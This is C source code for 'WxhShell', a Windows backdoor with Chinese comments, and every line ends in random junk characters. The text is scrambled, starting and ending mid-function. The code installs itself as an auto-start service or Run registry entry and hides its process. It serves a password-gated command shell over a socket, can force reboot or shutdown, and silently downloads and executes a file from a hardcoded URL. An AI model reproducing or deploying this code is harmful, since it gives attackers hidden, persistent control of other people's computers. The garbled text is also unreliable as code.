    else { # k9 <  
    closesocket(wsh); ^df x~C  
    ExitThread(0); G?/c/rG  
    } 4uUs7T  
    break; <s}|ZnGE   
    } 3Z1OX]R  
  // 关机 W' ep6O  
  case 'd': { J$QBI&D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LN^UC$[tk  
    if(Boot(SHUTDOWN)) vbp-`M(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;v_V+t <$  
    else { O:^'x*}  
    closesocket(wsh); j#VIHCzlr  
    ExitThread(0); wbi3lH:;  
    } U^rm: *f  
    break; *,lh:  
    } ax_YKJ5#P  
  // 获取shell \QT9HAdd@  
  case 's': { 8;#AO8+U7)  
    CmdShell(wsh); 6IP$n($2  
    closesocket(wsh); !5UfWk\G  
    ExitThread(0); }lP5 GT2  
    break; /C$ xH@bb  
  } eh<rRx"[  
  // 退出 ]*;F. pZ  
  case 'x': { Go <'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7F(5)Utt  
    CloseIt(wsh); ^PqMi:htc  
    break; iCrxV{   
    } #*2Rp8n  
  // 离开 ~;unpym'  
  case 'q': { "- eZZEl(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =j~Q/-`EC0  
    closesocket(wsh); }1U*A#aN7K  
    WSACleanup(); ((|IS[  
    exit(1); @B`Md3$7  
    break; (A{NF(   
        } i8~$o:&HT  
  } mW4%2fD[  
  } %l7fR}  
PZ,z15PG]  
  // 提示信息 Hm9<fQuM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mxJXL":|  
} -(IC~   
  } V=}1[^  
kdcQw7G  
  return; 9y^/GwUQ  
} r,xmEj0E  
M"U OgS  
// shell模块句柄 q*8lnk  
int CmdShell(SOCKET sock) ZL_[4 Y  
{ S~3\3qt$  
STARTUPINFO si; ;h~er6&   
ZeroMemory(&si,sizeof(si)); }c|UX ZW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o8z)nOTO;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mhzYz;}  
PROCESS_INFORMATION ProcessInfo; 6RK\}@^=K  
char cmdline[]="cmd"; ue0s&WF|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S " pI  
  return 0; GGnp Pp  
} qLjT.7 .x  
!>g:Si"  
// 自身启动模式 ndi+xaQtG  
int StartFromService(void) ddDS=OfH  
{ C6QbBo  
typedef struct WY>Knp=  
{ \ v2H^j/  
  DWORD ExitStatus; "8<K'zeS8  
  DWORD PebBaseAddress; B#l?IB~  
  DWORD AffinityMask; lP _db&  
  DWORD BasePriority; `=)2<Ca;~@  
  ULONG UniqueProcessId; ?ny =  
  ULONG InheritedFromUniqueProcessId; lxb zHlX  
}   PROCESS_BASIC_INFORMATION; F jrINxL7^  
v}(6 <wnnS  
PROCNTQSIP NtQueryInformationProcess; `: |@Zln  
U~f4e7x*O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Oe!6){OG)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \=e8%.#@J  
5>_5]t {  
  HANDLE             hProcess; ^ 4>k%d  
  PROCESS_BASIC_INFORMATION pbi; p3x?[ Ww  
N/F$bv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WI[:-cv  
  if(NULL == hInst ) return 0; ZCui Fm  
`C72sA{M.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ERMa# L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q!lP"J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]7YNIS  
)}lRd#V  
  if (!NtQueryInformationProcess) return 0; G=/k>@Di  
|(R5e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '-PC7"o  
  if(!hProcess) return 0; ?+CV1 ]  
lU4}B`#"v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6z,Dyy]tl  
a:rX9-**  
  CloseHandle(hProcess); {3\R|tZh,`  
,[rPe\w.z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^4Uw8-/9  
if(hProcess==NULL) return 0; 5]Da{Wmgs  
ODw`E9  
HMODULE hMod; hwnJE958L  
char procName[255]; vp)Vb^K>  
unsigned long cbNeeded;  J m{  
qa'gM@]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9q[;u[A8^  
4mYCSu14:`  
  CloseHandle(hProcess); l&(l$@t  
wTq{sW&  
if(strstr(procName,"services")) return 1; // 以服务启动 2a=sm1?  
o+O}Te  
  return 0; // 注册表启动 m]Y;c_DO:  
} 0HeD{TH\  
R`'1t3p0i  
// 主模块 /8ynvhF#  
int StartWxhshell(LPSTR lpCmdLine) $9!D\N,}]C  
{ r`'y?Bra;  
  SOCKET wsl; )q~DTR^z-  
BOOL val=TRUE; Y g|lq9gD  
  int port=0; 2B1xUj ]  
  struct sockaddr_in door; U^lW@u?:  
w|Cx>8P8@  
  if(wscfg.ws_autoins) Install(); _ Y2 U7W  
AC%JC+  
port=atoi(lpCmdLine); ]2SF9p_  
`8_z!)  
if(port<=0) port=wscfg.ws_port; _wDS#t;!M  
63WS7s"  
  WSADATA data; )U t5+-UK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /1w2ehE<  
G5.nPsuM   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M" lg%j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); myFAKRc  
  door.sin_family = AF_INET; Y'VBz{brf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Ke eHMu  
  door.sin_port = htons(port);  UL@9W6  
xJ8%<RR!t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;QCrHqRT`  
closesocket(wsl); ?`_jFj+<\S  
return 1; (7FW9X;  
} )~)*=u/  
 cgu~  
  if(listen(wsl,2) == INVALID_SOCKET) { tiPa6tQ  
closesocket(wsl); c"tJld5F_  
return 1; ow'Vz Ay-  
} m} ?rJ  
  Wxhshell(wsl); \00DqL(Oj`  
  WSACleanup(); ^L4Qbc(vJ  
o]n!(f<(*  
return 0; PCrU<J 7  
UaG1c%7?X  
} WG71k8af  
YcX/{L[9o  
// 以NT服务方式启动 [4&#*@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FyoEQ%.bI  
{ -f1k0QwL  
DWORD   status = 0; m#/_x  
  DWORD   specificError = 0xfffffff; gR^>3n'  
HmmS(fU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oPKr* `'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <bck~E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ty(@+M~-  
  serviceStatus.dwWin32ExitCode     = 0; Z(>'0]G  
  serviceStatus.dwServiceSpecificExitCode = 0; ikBYd }5  
  serviceStatus.dwCheckPoint       = 0; |C%Pjl^YkV  
  serviceStatus.dwWaitHint       = 0; qo6y %[  
P>Euq'ajX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LK9g0_  
  if (hServiceStatusHandle==0) return; r\6"5cQ=  
Q:C$&-$  
status = GetLastError(); A=zPL q{Sb  
  if (status!=NO_ERROR) g.JN_t5  
{ /.Nov  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b IW'c_ ,  
    serviceStatus.dwCheckPoint       = 0;  ,B<l  
    serviceStatus.dwWaitHint       = 0; |wE3UWsy  
    serviceStatus.dwWin32ExitCode     = status; ?Ucu#UO  
    serviceStatus.dwServiceSpecificExitCode = specificError; DmVP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^>y@4qB  
    return; q-ES6R  
  } sAJ7R(p  
)&{K~i;:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5F|8?BkOL^  
  serviceStatus.dwCheckPoint       = 0; x_!0.SU  
  serviceStatus.dwWaitHint       = 0; y;?ie]3G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @XD+'{]  
} L%}zVCg  
P|2E2=G  
// 处理NT服务事件,比如:启动、停止 jeyLL<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \o-&f:  
{ + 1IQYa|  
switch(fdwControl) Z|9u]xL  
{ Z}A%=Z\/3  
case SERVICE_CONTROL_STOP: MF3b{|Z  
  serviceStatus.dwWin32ExitCode = 0; ;Yfv!\^|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [OTJVpC  
  serviceStatus.dwCheckPoint   = 0; [a o U5;7  
  serviceStatus.dwWaitHint     = 0; \k`n[{  
  { LWsP ya  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,6 !rR,0  
  } F["wD O  
  return; e7fiGl  
case SERVICE_CONTROL_PAUSE: o~FRF0f*VP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MC((M,3L  
  break; 8E&XbqP+  
case SERVICE_CONTROL_CONTINUE: C.^Ven  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g>d;|sK  
  break; Ed0IWPx  
case SERVICE_CONTROL_INTERROGATE: N!Qg;(  
  break; _mS!XF~`P  
}; ]Fvm 7V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sx:Ur>?hd5  
} iV FkYx%}  
8;y&Pb~)  
// 标准应用程序主函数 .,~(%#Wl$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rPc7(,o*  
{ ]Q "p\@\!  
;n=. {[,  
// 获取操作系统版本 ,<<4*  
OsIsNt=GetOsVer(); qjJBcu_C'S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iyVB3:M  
]J9cVp  
  // 从命令行安装 VKm!Ri$  
  if(strpbrk(lpCmdLine,"iI")) Install(); !|2VWI}  
1[*UYcD  
  // 下载执行文件 Nf3.\eR  
if(wscfg.ws_downexe) { SxyONp.$\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wiOgyMdx  
  WinExec(wscfg.ws_filenam,SW_HIDE); ; )Kh;;e  
} o!E v;' D  
H 9 C9P17  
if(!OsIsNt) { ( nW67YTr  
// 如果时win9x,隐藏进程并且设置为注册表启动 5_0(D;Q  
HideProc(); d1!i(MaV!  
StartWxhshell(lpCmdLine); C ]Si|D  
} D3Jr3 %>  
else 1%M&CX  
  if(StartFromService()) o01kYBD  
  // 以服务方式启动 j4FeSGa  
  StartServiceCtrlDispatcher(DispatchTable); ^^i6|l1  
else $@\mpwANl  
  // 普通方式启动 h@7FY  
  StartWxhshell(lpCmdLine); $d+DDm1o  
s6 ( z  
return 0; ~mV"i7VX  
} k&#a\OJ7u  
@L84>3O  
o sbHs$C  
\&V0vN1  
=========================================== "HD+rmUEH  
"Th$#3  
 "SN4*  
d;tkJ2@NO  
3>zN/ f  
I~PDaZP  
" C8@TZ[w  
=9L$L|W  
#include <stdio.h> ^\ ?O4,L  
#include <string.h> 4!$ M q;U  
#include <windows.h> w&Dv8Wv+Oq  
#include <winsock2.h> U5Erm6U:  
#include <winsvc.h> LW#M@  
#include <urlmon.h> SEQ%'E5-'  
aRj>iQaddx  
#pragma comment (lib, "Ws2_32.lib") vv6$>SU  
#pragma comment (lib, "urlmon.lib")  [\)oo  
y<W8Q<9  
#define MAX_USER   100 // 最大客户端连接数 J?)RfK|!  
#define BUF_SOCK   200 // sock buffer LCXO>MXN  
#define KEY_BUFF   255 // 输入 buffer ZZ/cq:3$P  
@#+jMV$g  
#define REBOOT     0   // 重启 p\wJD1s  
#define SHUTDOWN   1   // 关机 lM\LN^f5*  
zHB_{(o7  
#define DEF_PORT   5000 // 监听端口 f<i7@%  
Rg29  
#define REG_LEN     16   // 注册表键长度 F9c`({6k  
#define SVC_LEN     80   // NT服务名长度 mIZwAKo  
JL}\*  
// 从dll定义API PDx)S7+w[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fLN!EDq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~>G]_H]?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `U!y&Q$,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GYRYbiwqdi  
O@8pC+#`Z  
// wxhshell配置信息 7k{2Upg;  
struct WSCFG { [}nK"4T"Ri  
  int ws_port;         // 监听端口 (J$\-a7<f  
  char ws_passstr[REG_LEN]; // 口令 z^* '@  
  int ws_autoins;       // 安装标记, 1=yes 0=no <dA8 '7^  
  char ws_regname[REG_LEN]; // 注册表键名 u%|zc=  
  char ws_svcname[REG_LEN]; // 服务名 |YJCWFbs8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5G}6;UY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !.-tW7   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]>##`X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [y) Fc IK}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lYf+V8{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $<@\-vYvr@  
]7sx;KFv  
}; 6,Hqb<(  
1.@vS&Y7OE  
// default Wxhshell configuration \ v@({nB8  
struct WSCFG wscfg={DEF_PORT, KcGsMPJ  
    "xuhuanlingzhe", wn +FTqj  
    1, +%J\y^09kr  
    "Wxhshell", ClW'W#*(Y  
    "Wxhshell", 2)iD4G`  
            "WxhShell Service", uE_c4Hp  
    "Wrsky Windows CmdShell Service", xc 1A$EY  
    "Please Input Your Password: ", +,'T=Ic{  
  1, zbw7U'jk  
  "http://www.wrsky.com/wxhshell.exe", _cJ[ FP1  
  "Wxhshell.exe" 9~AWng  
    }; /  YiQ\  
_68BP)nz>.  
// 消息定义模块 4Wel[]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8``;0}'PC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <~Q i67I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U0B2WmT~Q  
char *msg_ws_ext="\n\rExit.";  GrJ#.  
char *msg_ws_end="\n\rQuit."; BWPP5X9  
char *msg_ws_boot="\n\rReboot..."; Lf}8qB#Y  
char *msg_ws_poff="\n\rShutdown..."; ?dy~ mob  
char *msg_ws_down="\n\rSave to "; uPyVF-i  
^z1IN-Tm/  
char *msg_ws_err="\n\rErr!"; s}x>J8hK  
char *msg_ws_ok="\n\rOK!"; l4'~}nn(Y  
>}+Q:iNQ)2  
char ExeFile[MAX_PATH]; a^nAZ  
int nUser = 0; uq7T{7~<  
HANDLE handles[MAX_USER]; (ClhbfzD  
int OsIsNt; V*n==Nb5L  
eBB:~,C^q.  
SERVICE_STATUS       serviceStatus; IFNWS,:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %Tcf6cK"  
-<f/\U  
// 函数声明 0Vv9BL{  
int Install(void); *DeTqO65  
int Uninstall(void); HB& &  
int DownloadFile(char *sURL, SOCKET wsh); <)m%*9{  
int Boot(int flag); ~&G4)AM  
void HideProc(void); $`Nd?\$  
int GetOsVer(void); '8`T|2   
int Wxhshell(SOCKET wsl); S0w> hr  
void TalkWithClient(void *cs); MOz}Q1`a  
int CmdShell(SOCKET sock); Y)HbxFF`/  
int StartFromService(void); B+VuUt{S  
int StartWxhshell(LPSTR lpCmdLine); tiQ;#p7%  
Fxd{ Zk`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zok D:c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t\y-T$\\  
TYS\95<  
// 数据结构和表定义 W^g'}}]T  
SERVICE_TABLE_ENTRY DispatchTable[] = _g|acBF  
{ a% ,fXp>  
{wscfg.ws_svcname, NTServiceMain}, q=c/B(II!  
{NULL, NULL} /lD?VE  
}; [$\>~nj=  
: iCM=k  
// 自我安装 XF,<i1ZlM  
int Install(void) )q^ Bj$  
{ P;91~``b-  
  char svExeFile[MAX_PATH]; e1 a*'T$z  
  HKEY key; 0Oxz3r%}r  
  strcpy(svExeFile,ExeFile); :X>DkRP  
tB6k|cPC  
// 如果是win9x系统,修改注册表设为自启动 -WR}m6yMr  
if(!OsIsNt) { O]=C#E{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?C;JJ#Ho  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D[Iq n  
  RegCloseKey(key); u}jrfKd E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +uQB rG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |HbEk[?^s  
  RegCloseKey(key); av'*u  
  return 0; Wc'Ehyi;  
    } L7q |^`  
  } %xg"Q |  
} cdp0!W4Gi  
else { T%I&txl  
RsSXhPk?  
// 如果是NT以上系统,安装为系统服务 W"sr$K2m|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b~Z=:'m8  
if (schSCManager!=0) D s-`  
{ y4F^|kS) [  
  SC_HANDLE schService = CreateService H?:Jq\Ba0  
  (  4#rAm"H  
  schSCManager, F$Pp]"82'm  
  wscfg.ws_svcname, K3ukYR  
  wscfg.ws_svcdisp, $Ub}p[L  
  SERVICE_ALL_ACCESS, U6{dI@|B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4;<DJ.XlN=  
  SERVICE_AUTO_START, h5onRa *7  
  SERVICE_ERROR_NORMAL, pMN<p[MB  
  svExeFile, *8\(FVyG^  
  NULL, @-6?i)  
  NULL, hZuYdV{'h  
  NULL, - V=arm\#z  
  NULL, M\UWWb&%\  
  NULL "{F;M{h$},  
  ); 'Z7P  
  if (schService!=0) I'IB_YRL4  
  { a$+#V=bA  
  CloseServiceHandle(schService); 9~Xg#{  
  CloseServiceHandle(schSCManager); XZO<dhZX:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i$O#%12l  
  strcat(svExeFile,wscfg.ws_svcname); *Mi6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `pYE[y+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 37>MJ  
  RegCloseKey(key); H1Xovr  
  return 0; ,OB&nN t>  
    } Nmf#`+7gCI  
  } <nA3Sd"QfV  
  CloseServiceHandle(schSCManager); %FS;>;i?  
} l<RfRqjw  
} \Da~p9 T&  
SJ(9rhB5*.  
return 1; {HuLuP 0t  
} @,vv\M0)p  
OK\]*r  
// 自我卸载 nHU3%%%cU  
int Uninstall(void) Y n>{4BZ>#  
{ 6D^%'[4t  
  HKEY key; r}@< K  
~ 7BX@?  
if(!OsIsNt) { Qa?Q bHc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vs*I7<  
  RegDeleteValue(key,wscfg.ws_regname); ;U7t  
  RegCloseKey(key); >@Khm"/T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JS2!)aqc  
  RegDeleteValue(key,wscfg.ws_regname); {G.{a d  
  RegCloseKey(key); 6QptKXu7  
  return 0; EG1x  
  } s}!"a8hU`  
} *2:Yf7rvI+  
} *]9XDc]{j1  
else { WFdem/\kX  
P rt#L8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JWSq"N  
if (schSCManager!=0) :wCC^Y]  
{ _6I>+9#C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SD I,M  
  if (schService!=0) CU !.!cZ{  
  { fW[.r==Kf  
  if(DeleteService(schService)!=0) { EQ~I'#m7  
  CloseServiceHandle(schService); 8)`5P\  
  CloseServiceHandle(schSCManager); #ZwY?T x  
  return 0; (QhAGk&lu  
  } ]eL~L_[G\  
  CloseServiceHandle(schService); }'_:XKLj  
  } -(  ER4#  
  CloseServiceHandle(schSCManager); GD/nR4$  
} Ug `   
} Q,TaJ]  
&`5 :G LV  
return 1; lc-*8eS  
} +{bh  
gU*I;s>  
// 从指定url下载文件 dK7 ^  
int DownloadFile(char *sURL, SOCKET wsh) 8Nv-/VQ/b  
{ ,dq`EsHg`M  
  HRESULT hr; {&b-}f"m  
char seps[]= "/"; ^)'||Ly  
char *token; ,DQ >&_DK  
char *file; otZ JY)  
char myURL[MAX_PATH]; vKV{ $|  
char myFILE[MAX_PATH]; (Bh L/A 4  
Ut=0~x.=<  
strcpy(myURL,sURL); M, Po54u  
  token=strtok(myURL,seps); xKisL=l6Y  
  while(token!=NULL) <#!8?o&i  
  { ,P1G ?,y  
    file=token; yO%VzjJhg  
  token=strtok(NULL,seps); n/:Z{  
  } :'TX"E!  
@~Rk^/0  
GetCurrentDirectory(MAX_PATH,myFILE); ?##y`.+O  
strcat(myFILE, "\\"); J]_)gb'1BR  
strcat(myFILE, file);  K oL%}u&  
  send(wsh,myFILE,strlen(myFILE),0); 0c{Gr 0[>  
send(wsh,"...",3,0); p@`4 Qz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m./*LXU  
  if(hr==S_OK) %k~C-+  
return 0; lK 9s0t'  
else csm?oUniz  
return 1; >EyvdX#v  
| eK,Td%  
} ~MD><w>  
~n)]dFy  
// 系统电源模块 o<Ke3?J\  
int Boot(int flag) l %]<-  
{ g!z8oPT  
  HANDLE hToken; J78Qj[v  
  TOKEN_PRIVILEGES tkp; }:tAKO=+  
1Z=;Uy\  
  if(OsIsNt) { zbdOCfA;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UeC 81*XZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uV#-8a5!  
    tkp.PrivilegeCount = 1; </~1p~=hAt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P'KY.TjWb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vsxvHot=  
if(flag==REBOOT) { "1E?3PFJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3" 8t)s  
  return 0; F5Cqv0H V  
} %YsRm%q  
else { B&to&|jf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BD<rQmfA^  
  return 0; k{!iDZr&f,  
} $XtV8  
  } GXGN;,7EV  
  else { dICnB:SSB  
if(flag==REBOOT) { )I^)*(}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,<I L*=a  
  return 0; "`H=AX0  
} _ +u sn.  
else { ' h0\4eu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =aX1:Z  
  return 0; bUpmU/ RW  
} !:R^}pMhIk  
} ZC>`ca  
+ ;{rU&  
return 1; ,=x.aX Spz  
} ixoMccU0  
zSX'  
// win9x进程隐藏模块 <[*h_gE5  
void HideProc(void) ;5zjd,  
{ pO@k@JZ  
+^o3}`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]a &x'  
  if ( hKernel != NULL ) `"-`D!U?$  
  { F=' jmiVJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Lcm~QF7cd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P W0q71  
    FreeLibrary(hKernel); bUEt0wRR  
  } bs4fyb  
A@fshWrl%  
return; J?UZN^  
} "1=.5:yG  
D~t"9Z\  
// 获取操作系统版本 E#WjoIk  
int GetOsVer(void) }-k_?2"A  
{ 98<bF{#0WM  
  OSVERSIONINFO winfo; ?kG#qt]Q5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AOq9v~)z-  
  GetVersionEx(&winfo); 3:z4M9f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U[H+87zg  
  return 1; 3/#R9J#  
  else <%5-Pzp  
  return 0; ` :B  
} kfG65aa>_  
[7ek;d;'t  
// 客户端句柄模块 h|Teh-@A5  
int Wxhshell(SOCKET wsl) _ cHV3cz  
{ Dg];(c+/  
  SOCKET wsh; 96([V|5K  
  struct sockaddr_in client; 7J </7\  
  DWORD myID; ?3KR(6D  
;NN(CKZ9A  
  while(nUser<MAX_USER) 2*3B~"  
{ >V ]*mS %K  
  int nSize=sizeof(client); } (O D<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3HDnOl8t  
  if(wsh==INVALID_SOCKET) return 1; ._F 6-pl  
OGD8QD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Oujlm|  
if(handles[nUser]==0) f"OA Zji  
  closesocket(wsh); hIg, 0B  
else .P0Qs&i  
  nUser++; #E~WVTO w  
  } v;NZ"1=_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bl+@}+A  
GXAk*vS=G  
  return 0; 1zEZ\G  
} cxF?&0[mY  
UVQa af  
// 关闭 socket %RK\Hz2q3  
void CloseIt(SOCKET wsh) t,r&SrC  
{ WEY97_@  
closesocket(wsh); Q,`2DHhK  
nUser--; 6{,K7FL  
ExitThread(0); 7.Kjg_N#Tr  
} Yqz[sz5+m  
ky lrf4=  
// 客户端请求句柄 ^|hRu{Q W  
void TalkWithClient(void *cs) KTAe~y  
{ | 9\7xT  
ZE3ysLk m  
  SOCKET wsh=(SOCKET)cs; O+UV\  
  char pwd[SVC_LEN]; Eg- Mm4o  
  char cmd[KEY_BUFF]; BD-c 0-+m  
char chr[1]; ,oi`BOh  
int i,j; wDC/w[4:  
O%Gsk'mo  
  while (nUser < MAX_USER) { lXL7q?,9  
"8iyMP%8  
if(wscfg.ws_passstr) { |?t8M9[Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {dr&46$p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +68K[s,FD  
  //ZeroMemory(pwd,KEY_BUFF); 7)6Yfa]I%  
      i=0; #SLxNAH  
  while(i<SVC_LEN) { G*w W&R)  
1j) !d$8  
  // 设置超时 .0*CT:1=0  
  fd_set FdRead; CTrs\G  
  struct timeval TimeOut; 36A.h,~  
  FD_ZERO(&FdRead); "VVR#H}{  
  FD_SET(wsh,&FdRead); SAo \H  
  TimeOut.tv_sec=8; elHarey`f  
  TimeOut.tv_usec=0; +}L3T"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6Cv2>'{S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y" +1,?yH  
"drh+oo.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )PoI~km  
  pwd=chr[0]; S%gO6&^  
  if(chr[0]==0xd || chr[0]==0xa) { m ?"%&|  
  pwd=0; D>#v 6XI  
  break; 41Q   
  } ;gu>;_  
  i++; ]! J3?G  
    } ~TK^aM  
8sjHQ)<  
  // 如果是非法用户,关闭 socket 3% 4Mq6Q`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ].T;x|  
} "91At b;hJ  
0B:{4Lsn&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BG?2PO{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eHyuO)(xH1  
}b\q<sNE{  
while(1) { MdboWE5i  
Iybpk?,M+  
  ZeroMemory(cmd,KEY_BUFF); w,#W&>+&  
0]w[wc <  
      // 自动支持客户端 telnet标准   )"3oe ?  
  j=0; )n[Mh!mn  
  while(j<KEY_BUFF) { O|TwG:!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JP*wi-8D  
  cmd[j]=chr[0]; 2u H\8A+'f  
  if(chr[0]==0xa || chr[0]==0xd) { w8#>xV^~  
  cmd[j]=0; Gz5@1CF  
  break; kJpHhAn4  
  } Y +yvv{01  
  j++; m]}"FMH$  
    } (s*Uz3 sq  
>@e%,z  
  // 下载文件 >5:e1a?9  
